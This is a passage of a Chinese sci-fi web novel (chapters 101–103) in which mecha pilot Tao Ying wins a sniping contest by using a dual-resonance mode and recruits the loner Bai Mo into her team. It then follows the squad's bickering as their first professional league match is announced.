就看见那五位妹控也痴痴地盯着墙上恒我的海报。 “好看。”“想摸。”“想抱。” “想钻它怀里。” 陶影忍不住喉咙一哽。 们柏氏工业的机性恋含量…… 不愧是99%。 十分钟后。 陶影懒趴趴地敲了敲麦克风。 “柏墨队友，你是打算练到晕过去吗？你二哥要哭了。” 麦克风的啸叫，顺着线缆和陶影的声音一起广播到模拟训练场内。 非常刺耳，无法忽视。 正在殴打虫族的纯白色机甲猝然抬头。 它的机师太过专心，没想到陶影会突然出现在这里。 但也只停滞了这几秒。 机甲的拳头立刻击出。 柏墨手上动作不停，嘴里冷漠回答：“不关你的事。” “而且我们不是队友。” 白色机甲脚一蹬，露出黑色的关节连接处。它空中飞跃，跳到墙体的边缘，扒住大楼前的透明墙壁。 头部正对着三楼的操作台，也就是陶影的脸。 “我们不熟。” 陶影笑容满面地坐在轮椅上，甩了甩手上的照片。 “但我们跟它都很熟。” “你怎么会有这张照片？！” 柏墨看清照片上的那台机甲，动作立刻僵硬。她手掌猛拍玻璃，这一下实打实的攻击，T字型大楼仿佛都在震动。 柏墨咬牙看向她的五位家人，语气中带着质问：“你们告诉她干什么？” 五位妹控吹口哨的吹口哨，抬头望天的抬头望天。 “我们告诉她什么了？她是谁啊？” “阿巴阿巴，小墨在说什么，听不懂。” 几人一脸糊弄，只有大姐稍微正经点，语重心长地劝说道： “小墨，光会开机甲不跟人交流，你要怎么当家主？再这样下去，百年后柏氏工业会倒闭的。” “加油，好好跟队友合作，学习一下人类的常识。大姐看好你，柏氏的未来就在你手里了。” “关我屁事。” 柏墨冷着脸，话不多说向前就是一拳，高强度金属被捶得震动两下。 “姓柏的，有本事进模拟场跟我打一架。” 见众人一动不动，她又说：“算了，我自己出来。” 说完柏墨利落地钻出驾驶舱，滑下机甲，进入训练场入口的通道，准备跟几位自家人碰一碰。 陶影摊手：“她下来休息啦，我的任务完成了，说好的报酬记得打我。” 五位妹控瑟缩着看向走廊的尽头。 “下来倒确实是下来了，但她进入大楼前的表情，看上去是想给我们一人一拳。” “我听见她索命的脚步声了。” 柏墨转瞬就到了三楼，鬼一样的移动速度，像是从一楼飞上来的。 五位妹控齐齐后退一步。 “小妹的武力值还是这么高，佩服。” “我肚子饿了，去吃饭了，小墨你也早点休息。” “要好好跟人交流哦。” 见情况不对，五人各找各的借口，飞速将陶影的轮椅往前一推，溜走了。 被推出来挡枪的陶影“哇塞”一声。 “这么没义气？” “算了，钱记得打给我，不然小心女鬼半夜报复——” 陶影趴在轮椅上，朝几人挥了挥手。 回身的时候，柏墨已经站在她面前。 新队友果然体质很好，这么几楼上来，气都不带喘一下。 柏墨左右看了看。 “他们人呢？” “逃走了。” “哼，没胆子正面跟我打。”柏墨冷哼一声，收了收情绪。 “你来柏工做什么？莱机所那边……”她看了一眼陶影的两位队友，语气顿了顿，“该给你的回扣还没拿到吗？” 林别歌小声道：“你不是说来见队友吗？实际上是来讨工资的？” “回扣当然要讨，队友当然也要见。” 陶影从轮椅上站起来。 “这两位是南卦和林别歌。” 陶影正要继续介绍队友，话就被柏墨冷漠打断。 “我没打算跟你做队友。” “哦，是吗？” 陶影挥舞了一下手中恒我的照片。 “你看着恒我的眼睛再说一次。” 柏墨：“……” 她顿了下，手一闪，便飞速从陶影手中抢回照片，将照片的褶皱按平后，揣进了胸前的口袋。 “我只说了会考虑。” “那你考虑好了吗？” “嗯，考虑好了。” 柏墨说着，取下手脚的负重，随手甩到房间里。 沙袋落地，发出一声巨响。 听得人脖子发麻。 “影子，她的语气听上去不像是要跟我们做队友，像是考虑好了要怎么处理我们的尸体哎……” “你真确定我们能当队友？” 林别歌话音刚落，柏墨向前大跨一步。 她掰掰手腕，挽起袖子，两手撑住轮椅扶手。 随后用兽类一样的眼神，直直盯着陶影。 “我不跟比我弱的人组队。” “哦。” 沉默片刻后，陶影干脆地往轮椅上一躺，举手投降。 “我听明白你的意思了。” “既然听懂了，那再好不过。” 柏墨说着，直起身，手往玻璃廊道的尽头指去：“走吧，我要继续训练了。” 但陶影却迟迟没有动身。 柏墨皱眉道：“怎么，还要我推你走？” 陶影托着下巴不紧不慢道：“我为什么要走？你该不会认为我比你弱？” “你不是吗？” 陶影露出狐狸一样狡猾的笑容。 “没比过怎么知道谁强谁弱。” “我们比一场，你要是输给我，就得老老实实跟我们组队。” “就凭你？” “就凭我。” 柏墨沉默一瞬间，突然笑出了声。 “好啊，比什么？”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 100-110 第101章 柏墨刚刚开的白色机甲,出自莱门机甲研究所，是陶影特意为这次职业联赛打造的机型。 因为整体涂装偏白，而裸露的关节处采用了黑色T6金属,眼睛的指示灯为红色，整台机甲远看,配色很像一只仙鹤。 所以取名“鹤亭”。 它是近战型机甲。 陶影眸光迟疑，仔细思索起对策。 太空女鬼队目前全是近战,非常缺乏远程攻击。高校联赛的时候还能凑活,但职业联赛场地更复杂,不局限在切斯特星内，也许在宇宙的某个角落…… 总之非常考验队伍的综合能力。 没有远程很难打。 是的,陶影的队伍里需要一个狙击手。 见陶影想了半天,也没说比什么,柏墨将沙袋套回了手上。 “怎么，突然觉得自己会输,不想比了？” “那倒不是，只是你一拳我一拳的,打来打去太没意思，想比点好玩的。” “我进机甲想想。” 陶影说着，丝滑地爬进机甲。 鹤亭的驾驶舱内部构造和恒我没有太大区别,陶影熟练地坐上驾驶位，朝头顶的精神力触手颔首示意。 “知觉连接。” 【SPIRAL权限已确认，即将开始知觉连接。】 【神经接驳启动……共鸣指数0.4，兼容指数0.6，神经同步率80%，连接良好。】 【能源、武器模块检测完成，系统运行正常。】 【本机将和你并肩作战。】 陶影操纵机甲跳上T字型大楼,再次确认了二号区的情况。 模拟训练场四周被冷灰色的金属高墙包裹，顶部的浅蓝色高能防护盾，在强风的撞击下时隐时现。 金属墙壁的角落嵌有全息投影设备。 柏墨刚刚就是通过这个系统，生成了虚拟虫族，然后进行模拟击杀。 柏墨很想赢下职业联赛，所以一直在训练。 很巧，她也是。 而且陶影的队伍正好还缺一个人。 所以做队友不是正好吗。 晨风破开厚重的云层，丝缕的阳光打在白色机甲身侧。 陶影思索片刻后，决定了比赛内容。 “我想明白了，我们比狙击。” “比狙击？” 两位队友险些惊掉下巴。 林别歌鬼叫一声：“为什么要比这个？” 角落里窸窸窣窣探出五个头。 “狙击怎么了吗？” 两位队友嗫嚅道：“实不相瞒，我们队没什么狙击天分……” 尤其是她们的队长大人。 其它方面都挺厉害的，唯独狙击完全不行。 就跟绑定了“绝对打不中”系统一样，打什么靶子都完美描边。 “队长去医院检查过，据说是什么手部颤抖的毛病，当时主任叫来整个科室的实习生，说是百年难得一遇的标准案例，惨遭围观。” “是啊，一瞄准手就会开始抖。” 五位妹控奇了：“那她为什么还提出对自己不利的比法？” “不知道，不过以我的经验来说，她肯定要搞事。” 林别歌小声叽咕。 问题是怎么搞呢？ 旁边的南卦也不太放心，她走上前扶着墙，小声道：“你们确定这个墙安全吗，它真的不会被子弹炸穿？” “怎么可能。” 柏家五妹控大力拍胸口，语气铿锵。 “T5金属，整体浇筑，包稳的。” 柏墨曾经在天穹杯联赛单挑对手，一人干掉了六个队。 陶影看过比赛录像。 她开的是柏氏工业的旧式机甲，功能非常单一，完全没有程序辅助，可以说在机体上并无优势。 但柏墨就是赢了，纯靠手操，赢得非常漂亮。 轻轻松松拿下联赛冠军。 可惜，柏墨在职业联赛没有那么一帆风顺。 甚至可以说处处碰壁。 柏墨总是在第一场比赛就被淘汰。 她个体太强，又是新人，这个类型，通常会在开局被其他队伍集火。 据陶影的分析，本来有几场赛事，依靠团队协作可以破局，但问题就出在这里—— 柏墨根本不在乎队友的死活。 她就一个人硬打。 队伍之间的对抗赛，愣是被柏墨打出了1v99的感觉。 战斗风格非常狂野。 陶影看柏墨身上的疤痕，摇了摇头。 “真是一匹伤痕累累的孤狼。难怪柏家人要我帮忙带小孩。” 柏墨神色一凛：“谁是小孩？” 陶影瞬间改口道：“我是。” 柏墨：“……” 柏墨冷笑一声，也没再说什么，干脆利落地将机甲上好枪，对着墙上的标靶就是几下。 柏发柏中，正中靶心。 陶影忍不住鼓掌道：“练过啊？” 柏墨语气冷冷：“没错，所以你可以认输了，我还要去训练……” 陶影话锋一转，微笑道。 “但我们不比打这个靶。” 柏墨剩下的话被推了回去，她噎住。 “那打什么靶？” 陶影走到训练场边的屏幕，调整了一下参数。 随后，模拟系统生成了几十只虫族，开始在训练场内游荡。 “D级疾蜻？” 柏墨有些惊讶地看了看她。 疾蜻的飞行速度非常快，肉眼难以捕捉，对新人狙击手来说，很难瞄准。 “狙这个？” 陶影摊手：“有点挑战性比较好玩，对了，枪可以自己选吧？” “随便你。” 陶影钻入武器库里翻翻找找，时不时感叹两下真是齐全，最后精挑细选了一把枪，点击确认后，自动化系统将武器投放至场内。 武器名，雷光。 说是枪，其实也算是炮，原理类似霰弹|枪，主要靠子弹的破片打伤害。 陶影拿起便对着面前的D级疾蜻开了一枪。 “轰——” 炮弹碎片四射，美妙地从空中垂落。 像是翻飞的碎金箔。 但非常完美地什么都没有击中。 那只疾蜻第一秒就扇扇翅膀飞走了，甚至还绕着陶影的枪转了圈，无言地鄙夷了她一下。 众人：“……” 狙了个寂寞。 场外的两位队友摇了摇头：“怎么毫不意外呢。” 五位妹控：“这个狙击技术，你们确定她真的能赢？” “赢不了，她之前用死吻狙人的时候，整整八十颗子弹，一颗没中。” “哦，你说打星盗那次吧……话说你谁？” “路过的摸鱼研究员，不必在意。” 一群研究员莫名加入了观战的队伍，大家一致得出结论。 陶影这个射击水平，与其瞄准，不如闭着眼睛随便乱打，说不定中得还多一点。 而场内的陶影并不知道这些，她只是填补好子弹，将枪架在机甲的肩膀上。 然后满意地点点头。 “嗯，很好，很强力。” 比赛规则，谁狙的虫族多，谁就赢，限时十分钟。 “开始！” 陶影和柏墨对视一眼，话不多说，同时扣下扳机。 柏墨大踏步上前，直接把枪怼到疾蜻面前，依靠她高强度的肢体，近距离开炮，只眨眼间，连续击落了数只虫族。 而陶影站在原地，观察了一下周围的情况，不经意间抬眼，和正在T字楼里的十个人对上了视线。 嗯？观战人数是不是增加了。 算了不重要。 陶影毫不犹豫抬起枪口，对准大楼。 “一、二，开——” 子弹冲击到高强度金属墙，产生了巨大的震动。 三楼的人显然受此波及，齐齐抖了一下。 柏墨正准备起跳，也被震得踉跄，滑出去两米。 她回头莫名其妙地看了陶影一眼。 柏墨：“走火了？” 观众：“打偏了？” 而陶影并没回答，她再次抬起枪口，轰出一颗子弹。 依旧没有击中。 再接下来的一颗，再一颗，也没有。 陶影数发子弹连射，而每颗都完美落空。 哪怕撞也该撞上一颗吧？这画面太过离奇，众人甚至忍不住开始鼓掌。 “不愧是描边大师。” “都这么近了还能打不中，也是需要一点才能。” “直接上手抓可能比较快。” “哎，我们小家主还是太强了，你们这个队长，技术NONONO。” 那人摇头晃脑地摆摆手指。 林别歌哽咽地拍拍玻璃：“队长，新队友什么的都无所谓了，你倒是至少打中一次啊——” 莫名的，大家对陶影的期待已经变成了能打中一次就行。 而另一边，柏墨在虫群中疾驰，已经接连击落三只虫族，头上冒出+3的数字。 换弹时间，柏墨余光扫了陶影一眼，冷声提醒：“你的子弹速度太慢，疾蜻可以躲开，从选择武器的那一刻起，你就输了。” 陶影赞同点头：“你说得很有道理。” “但我不会输，只是试试枪，刚才那几发不算数。” 陶影说得神色正经，而柏墨只当她是对武器没那么了解，选择枪械的时候失误了，在嘴硬。 “倒也不必在队友面前强行找补。” “我们是队友吗？” “我说上面那两个正在给你加油的。” “哦。总之我不是找补，真的只是在试枪而已。” 陶影语气真诚，下一刻，她换了个方向，枪对准身侧的墙壁。 机甲按下扳机，子弹飞跃到墙面，而子弹的硬度明显比不上T5金属，撞击的瞬间便弹出火光。 只见破飞的弹片四碎，竟然击落了好几只没有准备的虫族。 陶影的头上冒出一个+3。 一块破碎的弹片被空中的防护盾弹回，又慢悠悠出现一个+1。 陶影得分，3。 柏墨当前得分，12。 陶影大剌剌架着枪，仿佛已经看到胜利的曙光，她朝三楼的两位队友挥了挥手。 众人好一阵才反应过来。 “哦哦，描边大师突然中了！” “一枪中了三个，厉害！” “不愧是解锁者。” 但欢呼声中，有人反驳道：“不不不，她这个是纯靠运气。而且你们再看看，小家主的得分已经是她的四倍了。” “描边大师也不知道弹片会朝哪个方向飞，这不是比狙击，这是比运气啊，就跟开盲盒一样。” “不太一样，开盲盒有保底，她没有。” “所以解锁者还是赢不了吧？” 而在众人的议论声中，陶影的下一颗子弹—— 果然再次打空—— 作者有话说：新的外号增加了（ 第102章 这倒霉的一枪只是个开始。 陶影接下来的几十发子弹,无一命中。 “概率学的尘埃终究是落在了我身上，好歹中一次吧？” 陶影一脸苦瓜地找了个角落换弹。 柏墨余光看了陶影一眼，冷淡道： “还剩九分钟,别输得太难看。” 在柏墨无感情却莫名好心的提醒下，陶影就这样不间断轰着金属墙壁。 碎片一浪接一浪,密集得像是雨点。 但很遗憾，五分钟过去,陶影头顶的得分还是3。 招式很华丽,但没用程度堪比恐怖片里说“这房子哪里有鬼”的丈夫。 大楼里不知不觉挤满了摸鱼的研究员,很显然，他们都是来看“解锁者”的。 研究员手里拿着小本本记录。 “果然狙击是解锁者的短板。” “就连SS级别的精神力也没办法弥补这手抖的毛病吗？” “晔书,她还没做体质手术？” 柏晔书摇头：“没有。决赛后她精神力虽然上升到SS,但身体指标不增反降。” “强行做体质手术会出事,只能慢慢养着。” “具体得养到什么时候？” 柏晔书神色认真：“下辈子吧。” 众人：“……” 意思这辈子就这样了？ 柏墨的分数还在蹭蹭涨，陶影被完全压制,目前得分依旧是3。 T字大楼内围观的工作人员更多了。 “是谁在跟小家主打啊？” “解锁者。” “什么！她来了怎么没人通知我，可恶,我错过了上半场。” “没事，解锁者的分数距离开场毫无进展，你没错过什么。” “那个,你们一直管小影叫解锁者，这个称呼是什么意思啊？”南卦社恐地缩在林别歌背后，弱弱举手。 “哦，你可以理解为，她是恒我认同的唯一机师，这事要从十年前说起……” 在众人解释陶影拥有SPIRAL的最高权限的同时。 陶影又朝金属墙壁轰了一炮。 得到概率学的偶然眷顾，陶影头顶的分数终于再次+1。 人群中爆发出与这个得分完全不相符的热烈掌声。 “从三分涨到了堂堂四分,不容易啊。” “小墨多少分了？”“56。” “也就多了区区52分，解锁者很快就能填补这个差距了。” “不要睁着眼睛说虾滑。” “是啊，虽然解锁者能力独特，但我们要秉承事实说话。” 众人连连叹气。 “她狙击实力比小家主差远了。” 不知道是谁按到了广播键，众人的议论声传到训练场内。 叽里呱啦的，大概意思就是陶影技术很差。 陶影听得津津有味，眉梢甚至还带着一丝笑意。 柏墨反而不太开心。 她语气原本就没什么感情，这下变得更冷淡了。 柏墨：“你再这样乱打，大家会觉得恒我的品味有问题。” 陶影意味深长地“嗯——”了一声。 “你还真是以恒我为中心。” “不过话又说回来，什么叫恒我的品味有问题？恒我没有自我意识，不是它选择了我。” “那为什么只有你能启动它？除了机体产生智能，我想不出其它解释。” 柏墨抬 了抬眼皮，一脸“你当我三岁小孩这么好骗”的表情。 陶影的机甲在空中旋转一周，稳稳落地。 她面露纠结，片刻后迟疑道： “这个嘛，我有点头绪。” “什么意思？” “马上你就知道了。” 陶影说着又扣下扳机，子弹撕裂面前的空气，卷起一股热浪。 她现在和柏墨的位置挨得非常近，这一枪几乎是冲着对方的肩头去的。 柏墨下意识扭动，躲开了。 知觉机甲特有的连接，让柏墨感到右侧的肩头传来一股火热的灼烧感。 低头一看，机甲右肋的部位，被擦出一道黑色的弹痕。 她被击中了？ 怎么回事，明明以她的速度绝对可以躲开，竟然击中了。 柏墨愣神片刻，突然反应过来，刚才那下，陶影瞄准的方向根本没有虫族，明摆着是冲她来的。 于是转而语气凶狠道。 “你瞄我？” 陶影坦率地承认：“不小心故意的。” 柏墨冷哼一声，迅速回敬，她的枪口也贴近陶影，猛然开枪。 正中陶影的驾驶舱，这下比赛可以提前结束…… 但很快柏墨发现，她并没有打中。 陶影竟然避开了柏墨从近处的全力击杀。 柏墨微微愣神，察觉到不对劲，下意识抬起枪口，火舌激发，又是一道子弹。 但陶影迅速跳出她的攻击区域。 柏墨紧皱眉头。怎么回事，这人的动作和刚才不一样了。 明明速度并不快，却能精准地躲避子弹，就好像能预判她的动作。 难道是因为看穿了她的攻击习惯？ 柏墨于是刻意改变了攻击模式，但陶影依旧连连闪开。 柏墨心中大惊，她察觉到威胁，本能性后退了一步，但即便这样，那种威胁的感觉也没有消失。 而另一边，陶影咬断口中的营养棒，嚼了两下，补充体能。 “热身差不多了吧。” 说完，她抬起雷光，枪口再次爆发。 这颗子弹的轨迹，和她迄今为止的每一颗都不一样，而且速度似乎更快了。 而下一秒，它击中了陶影面前的一只D级疾蜻。 众人好一阵才反应过来。 “啊，竟然中了！” “怎么回事，概率学之神的眷顾？” 大家本来以为是巧合，但没想到陶影接下来弹无虚发。 在接连几次击杀后，陶影更是用一颗子弹穿透了四只疾蜻。 她头顶数字不停增加，眼看就要追上柏墨。 众人挤成一团，都想挤到前排看看究竟是怎么回事。 玻璃廊道内的研究员急切地走来走去。 “这什么原理？数据组，过来分析一下！” “以解锁者刚刚发弹的角度来计算，这个事件发生的概率大约是四千万分之一，简单来说，几乎没有可能。” “不对劲，绝对不对劲啊朋友。” “我的宇宙之神，她这是受到了什么天启吗？” 观众都发现了不对劲，柏墨自然也发现了。 陶影的分数和她越咬越紧，而且柏墨发现，她的精神越集中，速度越快，陶影击中的概率也越大。 陶影的击中率，似乎和她保持一种诡异的连接。 连接？ 无数的巧合连接在一起，就不是巧合，而是刻意制造的。 柏墨神色一凛，再次和陶影拉开距离。 “哦，队友终于认真了？” “这话该我问你，刚刚乱打是在逗我吗？” 陶影摆摆手：“怎么会，我一直都很认真的，只是机甲的新功能预热有点慢。” “新功能？” “对啊，这台机甲送到柏氏工业的时候，我附上了长长的说明书，你没看？” “没那个耐心。” 知觉机甲新功能，难道和精神力有关？ 刚才柏墨还想快点结束比赛，好去训练，不知道什么时候开始，竟然进入了一种精神沉浸的状态。 这在比赛中也很少遇到。 这就是解锁者说的新功能？ 难道是…… 这个时候，场外的南卦察觉到异常精神力，抱头蹲下。 而一片混乱中，柏墨的机甲动作突然停滞。 陶影下巴扬了扬。 她们两个手中的枪，同时举向同一个方向。 “机师SPIRAL与机师柏墨的共鸣指数达到50%。” “DR-双人共鸣模式已启动。” “开启空间信息共享。” “精神力空间已构造。” “共鸣子弹已填充。” 子弹附着了精神力攻击，带着音浪离弦而去。 沿途的虫族，瞬间化作碎片。 回声一样强烈的冲击下，T5金属墙竟然因为这一击产生了裂痕。高温的金属液滴落在地板上，熔出一个大洞。 就像被雷光劈开。 而陶影顶着十分钟的倒计时，落下最后一枪。 柏墨分数167，陶影168。 最终，陶影赢了。 在瞬间的精神冲击后，柏墨坠入一个奇异的空间。 她坐在地上，垂头看了看自己半透明的手，泛着一点电子化的蓝光。 不仅是手，浑身上下都是电子信号。 她现在就像鬼魂一样，呆在这个三米见方的黑色房间里。 身边还有一坨诡异的触手生物，时不时伸出触手戳一下她。 这东西跟驾驶舱里那个精神力触手长得很像。 柏墨抬头：“解锁者，你做了什么？” 黑色墙壁内，很快穿出一个和柏墨形态类似的透明虚影。 但和柏墨不同，那个虚影的形状不太稳定，时不时会抽动一下。 有时候像人，有时候又不太像。 总之勉强能看得出来是陶影。 地上那一坨触手生物蹦蹦跳跳地朝陶影飞了过去。 陶影蹲下身，摸了摸它的头。 那触手怪的一根触手，骤然伸长，尾巴一样直直竖着，像猫一样蹭起陶影的腿。 画面十分诡异。 柏墨：“这是哪里。” 陶影：“这里是机甲共鸣后产生的精神空间。” “就是你说的那个新功能？” “是的，DR-双人共鸣模式在机师精神力频率相近的情况下可以启动，启动后将共享两台机甲获得的外界信息。” “你应该也感觉到了，它可以让机师更轻易地进入精神力高度集中的状态，提高驾驶效率。” 陶影大致解释了一下。 柏墨：“所以你刚刚突然能打中，是因为共享我的视觉信息，预测到了疾蜻的下一步动作？” “对，一台机甲能获取的信息毕竟有限，你理解很快。” 柏墨点点头：“但我还是有一些东西理解不了。” 说着，她再次看向地面那坨海葵一样五颜六色的生物。 它的触手正在微微抖动，时不时还会咻一下伸长到两倍。 “比如这个。它是什么？智能体还是机甲的自我意识？为什么我没有？” 柏墨一连串问题问得很快，陶影笑眯眯地听她说完，坐到地板上。 触手怪蠕动两下，变成一只黑猫，钻进陶影的怀里。 陶影解释道： “这是陶影残存的精神体。”—— 作者有话说：精神体是奇怪的触手生物[吃瓜] 第103章 陶影前不久才发现这只精神体。 联赛最后一战,在爆发了SS级别的精神力后，陶影与机甲的共鸣指数达到前所未有的最高值。 当时连接陶影的精神力触手，突然抽搐几下,陶影隐约感觉到有什么东西摔到驾驶舱里，还发出“啪唧”一声。 但她一门心思忙着比赛,以为是应急包掉下来了，就没管。 直到比赛结束,她正打算起身,突然感觉有什么东西在她大腿上拱来拱去。 陶影低头,一坨触手怪正可爱仰头，朝她喵喵叫。 陶影：“？” 你谁？ 外星生物试图伪装成猫咪入侵切斯特星？ 触手怪：“喵——” 陶影一巴掌拍了上去。 触手怪吃痛,瞬间钻回机甲内没了影。 但很快又冒出来。 此后,触手怪阴魂不散地跟在陶影身边,吃饭，睡觉,训练都时不时出现，朝她喵一声。 三个小时后,陶影表情冷静地掏出光脑，对准脚边的触手：“叶行晖，你能看见它吗？” 叶行晖：“看见什么？” “当我没说。” 一开始陶影以为是精神力使用过度的副作用,还做了精神力检查，但结果一切正常。 几天后，触手怪消失了。 直到她再次乘上恒我，操作共鸣系统，触手怪突然再次出现。 且试图通过文字和陶影交流。 【我是你的精神体，一直依靠恒我的系统存活。】 【共鸣后，我吸收了你的精神能量,才能勉强显露实体。】 一番交流中，陶影终于明白了。 之前恒我的系统表现得异常人性化，不是因为被柏氏工业的员工调整了性格参数。 而是因为这坨触手怪侵入了恒我的系统。 陶影顺势问出她一直以来的疑惑。 “为什么叫我SPIRAL？” 【因为这是你我的名字。】 这算什么回答？ 她的名字叫陶影，是她自己取的，有关SPIRAL这个名字，她毫无记忆。 混乱，螺旋，解锁者。 究竟代表了什么？ 陶影还要再问，但触手怪喵完这两句话，似乎是能量用尽，钻入恒我的系统。 ……好吧，最起码现在知道SPIRAL是个名字了。 至于精神体，陶影查询了相关的机密数据库，文献记载，精神等级特别高的人，可能会拥有类似的精神体。 但因为历史上只出现过寥寥几例，缺乏数据支撑，这个精神体的存在有什么作用尚不明晰。 只知道一定程度可以反应本人的性格。 陶影轻咳一声，重新看向对面的新队友。 “总之，也许是大火时激发了陶影的潜力，她的精神体留在了恒我的系统内部，制造了SPIRAL这个用户。” “在吸收高强度的精神能量后，精神体会短暂出现，你可以简单理解为玩具充满电了。” “比如共鸣后，对吧。” “嗯，共鸣过的对象也能看见它。” 柏墨提起那一坨不明生物，甩了甩，不知道是不是错觉，那生物好像喵了一声。 “所以恒我锁死权限是因为它？” “没错。” “然后它将你识别成了唯一机师？” “正是如此。” “哼。”柏墨不满地瞪了那只触手怪一眼，随后将它扔到陶影怀里。 陶影啧啧两声：“你对它这么凶，难怪它不愿意让你驾驶恒我。” “难道我讨好它，它就会对我开放恒我的权限？” 陶影面色正经：“对啊，联赛结束前，你多贿赂它一下，也许就可以开恒我了。” 柏墨僵硬片刻，面露挣扎，最后迟疑伸手。她生涩地摸了一下那只会喵喵叫的触手怪，在感受到粘稠的触感后，迅速收回手。 陶影在一旁看得十分开心。 叶行晖无奈道：“既然是你的精神体，应该也听你的命令，其实现在你可以直接更改恒我的启动权限了吧……” 陶影摊手：“不骗骗她，她怎么会跟我们一起做共鸣训练？” 叶行晖望天：“我就知道。” 之后，陶影仔细说明了DR-双人共鸣模式。 “只要搭载了莱机所全新精神力模块的机甲，都可以互相共鸣，机师同步率高的情况下，甚至可以实现数人的网状共鸣——哦，当然，精神连接需要机甲标记为队友，并且双方同意。不然赛场上估计要乱套。” “顺便一提，你的机甲送过来的时候我已经把它标记成队友机了。” 柏墨：“……” 柏墨一边和触手对拳，一边冷冷抓陶影话语中的漏洞。 “我没同意和你共鸣，机甲面板没有看到任何提示。” 说到这个，陶影笑得更开心了。 “精神力模块检测到同意就可以，不需要手动确认。” “什么意思？” “说明你精神上本来就想和我当队友，只是嘴上不承认。” 柏墨立刻反驳：“我没有。” “你说没有就没有吧。” 陶影一脸笑嘻嘻哄小孩的语气。 “总之我赢了，现在你得老老实实做我的队友。” “欢迎加入太空女鬼队，柏墨狙击手。” 柏墨面色不太好，但输了就是输了，她也没反驳，算是默认成为女鬼的一员。 共鸣的精神能量逐渐减弱，触手怪也减少了活动。 柏墨见触手怪陷入休眠，冷淡地留下一句“赛场上我可不会听人指挥，我喜欢一个人打，你少命令我”，转身就走。 但五秒后，柏墨又气势汹汹地冲回陶影面前，指着六面黑漆漆，没有门窗的墙面质问。 “这个精神空间要怎么出去？” 时间过得很快。 马上就要到职业联赛了。 太空女鬼队在柏氏的训练场和学校来回跑，紧急做着最后的训练。 这天训练完，陶影在柏氏工业大楼门口叫了一艘小型穿梭舰载队友去学校，刚坐上座位，就看见不应该出现在这里的人。 柏墨擦过她身侧，也跟着上车。 “载我，我顺路。” 说着，柏墨随手塞给陶影一张大额整钞。 陶影：“？” 陶影迟疑道：“你跟我们一起去学校？” “机特学院一般不准外校学生进。” 柏墨歪头：“谁是外校学生？我去上课，姬亦说再不去学校，就让我参加不了联赛。” “……”“……” 十秒后，穿梭舰内传来队友的惊呼声。 “你也是机特学院的？！” 陶影想起在杀马特星似乎听过类似的传言，说什么柏墨去了一个不知名的军校。 没想到竟然跟她们同校。 陶影于是问：“你双A的资质，去帝国第一军校绰绰有余，为什么没去？” 而柏墨的回答是——莱门大学离家近，方便她训练。 陶影觉得倒也合理。 “原来是为了训练，理解了。” 林别歌沉默片刻：“不我不能理解，谁会为了这种理由放弃帝国第一军校，那可是军校届的星际NO.1。” 陶影友情提醒：“林别歌，我记得你被骗来读机特学院的理由是食堂好吃。” 林别歌嗫嚅两声：“这个嘛……” 柏墨靠着硬梆梆的椅背，听得哼笑一声：“就为了吃？” 林别歌不服：“什么叫就为了吃？那可是食物。人生在世，吃穿二字，你懂不懂生活？为了离训练场近选学校才奇怪呢，你这个机甲狂魔。” “跟你这种不懂机甲魅力的人没什么好说的。” “我们队可是本届天穹杯冠军，你凭什么说我不懂机甲？” “你今天的共鸣数据最差。” “那是因为共鸣的对象是你，姓柏的，你想打架是不是？” 柏墨在训练场打得不够尽兴，就等着林别歌这句话，她扔下手腕的负重沙袋，朝林别歌挑衅地招手。 “打就打，来啊。” 穿梭舰震动两下。 机甲狂魔和180猛女打作一团，一时间穿梭舰内充满了欢乐的气息。 南卦还在 掰着手指细数大家读机特学院的理由。 “一个因为离家近，一个为了吃，我跟小影是因为被人坑。” “这么一想，大家来机特学院的理由都挺离奇，好像没一个人是真心来上学。” “我们能成为队友，还挺有缘分的？” “喵。” 陶影：“触手怪说是的。” 林别歌在柏墨的拳头下艰难伸手：“是命运让我们成为队友，是这不公平的命运。” “你们两个就算了，我为什么要跟这个变态机甲狂魔组队！” 陶影颔首：“大概是因为队长充满智慧的选择吧。” “你烦死啦！” 校内训练没什么特别的，要不就是跑圈，要不就是对打。 基本上是体能训练。 所以大部分课时陶影都在见习，柏墨嫌训练强度太低，基本不来。 但不知道为什么，今天四人组竟然集齐了。 姬老师还没有来，陶影先去洗了把脸，等回到训练场，一群人在场地中心围成一团起哄。 “对，攻她下盘！” “就是这一脚，林别歌你干得好哇！” 南卦见陶影来了，赶忙大喊。 “小影，不好了，林别歌和柏墨又打起来了！” 这是陶影最近听得最多的一句话，耳朵都要起茧子了。 这俩人性格不对付，一点就着。 陶影拍拍身边的座位，示意南卦坐下：“打打也挺好的，发泄一下多余的精力。” “小影，你的语气好像在形容拆家的狗。” “你的观察力还是那么敏锐。” 陶影说着，走到斗兽场（？）的内圈。 林别歌又菜又爱玩，每次都先挑起战争，然后被柏墨按在地上打。 这几个月的共鸣训练，陶影和几位队友因为精神力合拍，配合好了不少，但对柏墨和林别歌来说，好像完全没有起到磨合的效果。 总而言之，队伍里的问题儿童又多了一个。 很快，战斗分出胜负，柏墨把林别歌两手反剪，膝盖顶着她腰，哼笑一声：“服不服？” 林别歌手被压着，大喊不服。 陶影拖了把椅子在旁边观战。 林别歌还在挣扎。 陶影像拳击比赛的裁判一样，一手拍在地上，数着数。 “一、二、三，林别歌同学还能听见我说话吗？七八九……十，好的，林别歌同学再起不能。” “KO！” “影子你站哪边的啊！” 林别歌翻身大口喘着气，泄愤似的将陶影也拉到地上，两人躺在地上看着蓝天白云。 美妙的天气，美妙的阳光，不美妙的队友。 林别歌只觉得前途一片灰暗。 “这个状态去打比赛真的没关系吗？” 柏墨也坐了下来，平稳了一下气息：“在这件事上，我同意她的看法。” “谁要你的同意。”林别歌哼唧两声，瞥了一眼身边的机甲狂魔。 “3+1<3，要不是联赛必须得上四个人，我才不跟你组队。总觉得多了个队友反而束手束脚。” “你以为我想跟你组队？” 两人说着说着，火药味渐起，又打了起来。 陶影在同学们看热闹的喝彩声中，决定眼不见为净，她找个了树下的角落，掏出平板。 按照往年的赛事进程，差不多今天就该出第一场比赛的场地安排了。 不知道会在哪里？ 陶影刷新两下，很快，联赛官方帐号发布了通知。 【星际机甲职业联赛】：第一场比赛相关信息已公布。 比赛时间：1226/7/16，10:00 比赛模式：水上闯关趣味赛 比赛地点：第二星系拂瓦星第六海域 参赛队伍名单请点击链接查看: target="_blank"> target="_blank"> target="_blank"> 南卦显然也看到了通知，兴奋地坐到陶影身边。 “水上闯关趣味赛，听上去就很好玩，你应该会很喜欢……小影，你怎么了，表情好严肃。” 陶影微微垂眸，视线扫过屏幕，再次确认比赛地点。 第二星系拂瓦星第六海域。 